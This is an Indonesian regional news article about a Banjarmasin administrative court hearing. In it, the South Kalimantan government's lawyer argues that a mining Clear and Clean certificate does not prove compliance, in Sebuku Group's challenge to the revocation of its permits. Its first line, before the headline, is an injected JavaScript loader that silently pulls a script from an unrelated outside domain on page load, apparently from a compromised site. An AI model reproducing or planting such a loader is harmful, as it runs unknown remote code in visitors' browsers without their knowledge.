(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Andi Asrun : Beres CnC Tak Menjamin Pertambangan Sesuai Aturan


BANJARMASIN, Kuasa Hukum Pemprov Kalsel, DR Andi M Nasrun menegaskan bahwa perusahaan pertambangan yang sudah mengantongi serifikat Clear And Clean (CnC) tidak menjamin perusahaan itu tidak bermasalah.

“Sertifikat CnC itu tidak memberi jaminan, sebab hanya berupa check list administrasi saja. Jika saat pengajuan sudah memenuhi syarat yang ada check list-nya, maka mendapatkan serifikat CnC,” kata Andi Asrun saat membacakan jawaban tergugat dalam perkara sengketa SK Gubernur yang mencabut tiga Izin Usaha Pertambangan Operasi Peruduksi (IUP OP) milik Sebuku Grup, di PTUN Banjarmasin, Kamis (29/3).

Atas dasar itu, Andi Asrun meminta majelis hakim menolak gugatan yang diajukan Sebuku Grup.

Persidangan dipimpin oleh Lutfie Ardhian SH sebagai ketua Majelis didampingi Kusumua Firdaus SH MH dan Dewi Yustiani SH MKn sebagai hakim anggota.

Ditemui usai persidangan, Andi Asrun menegaskan proses penerbitan CnC bisa saja berbeda. “Karena hanya check list saja, maka CnC itu tidak membuktikan bahwa perusahaan penggugat sudah memenuhi persyaratan-persyaratan dalam proses pertambangan,” tegasnya.(Baca :  Jawaban Pemprov Kalsel Hasil Copy Paste, Banyak Salah Ketik)

Saat ditanya, kalau CnC tidak menjadi syarat izin operasi pertambangan sehingga perusahaan tambang batubara tidak memerlukan sertifikat CnC, Andi Asrun tampak memberikan jawaban yang membungungkan.

“Bukan begitu, sama seperti pendaftaran parpol dalam pemilu, mereka hanya dicheck list saja, bukan berarti semua syarat dipenuhi,” ujarnya.

Pernyataan Andi Asrun ini sangat berbeda dengan  Undang-Undang Nomor 4 Tahun 2009, tentang Mineral dan Batubara agar memenuhi syarat CnC dengan kriteria administrasi, kewilayahan, finansial, teknis d‎an lingkungan.

Jika tak terpenuhinya sertifikat CnC, maka perusahaan pertambangan tidak boleh melakukan produksi batubara dan pelanggaran atas ketentuan itu bisa diancam pidana. (bie)

Reporter : Bie
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Disebut Hakim Sewenang-wenang Jerat Sahbirin Noor, Ini Respon KPK

KANALKALIMANTAN.COM, JAKARTA - Hakim praperadilan Pengadilan Negeri (PN) Jakarta Selatan (Jaksel) dalam putusannya menyebut Komisi… Read More

1 jam ago

Pucuk Pimpinan Polda Kalsel Berganti, Brigjen Rosyanto Promosi

KANALKALIMANTAN.COM, BANJARBARU - Pucuk pimpinan Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) mengalami pergantian. Kapolda Kalsel… Read More

2 jam ago

Derita Anak Palestina Bikin Tangis Pjs Wali Kota

KANALKALIMANTAN.COM, BANJARBARU – Tangis iba dan rasa kemanusiaan Pjs Wali Kota Banjarbaru Dra Nurliani MAP… Read More

3 jam ago

Launching Buku “The True of Barito Putra Legend”

KANALKALIMANTAN.COM, MARABAHAN - Ribuan jemaah padati halaman Masjid Bustanul Muhibbin, Handil Bakti, Kabupaten Barito Kuala,… Read More

4 jam ago

Mahasiswa FTK UIN Antasari Galang Dana Erupsi Lewatobi

KANALKALIMANTAN.COM, BANJARBARU - Bencana erupsi Gunung Api Lewatobi di Kabupaten Flores Timur, Provinsi Nusa Tenggara… Read More

4 jam ago

Korupsi Proyek Jalan di HST, Seret Pejabat PUPR dan Kontraktor

KANALKALIMANTAN.COM, BANJARMASIN – Kongkalikong dugaan korupsi libatkan PNS dan pihak swasta dari Kabupaten Hulu Sungai… Read More

16 jam ago

This website uses cookies.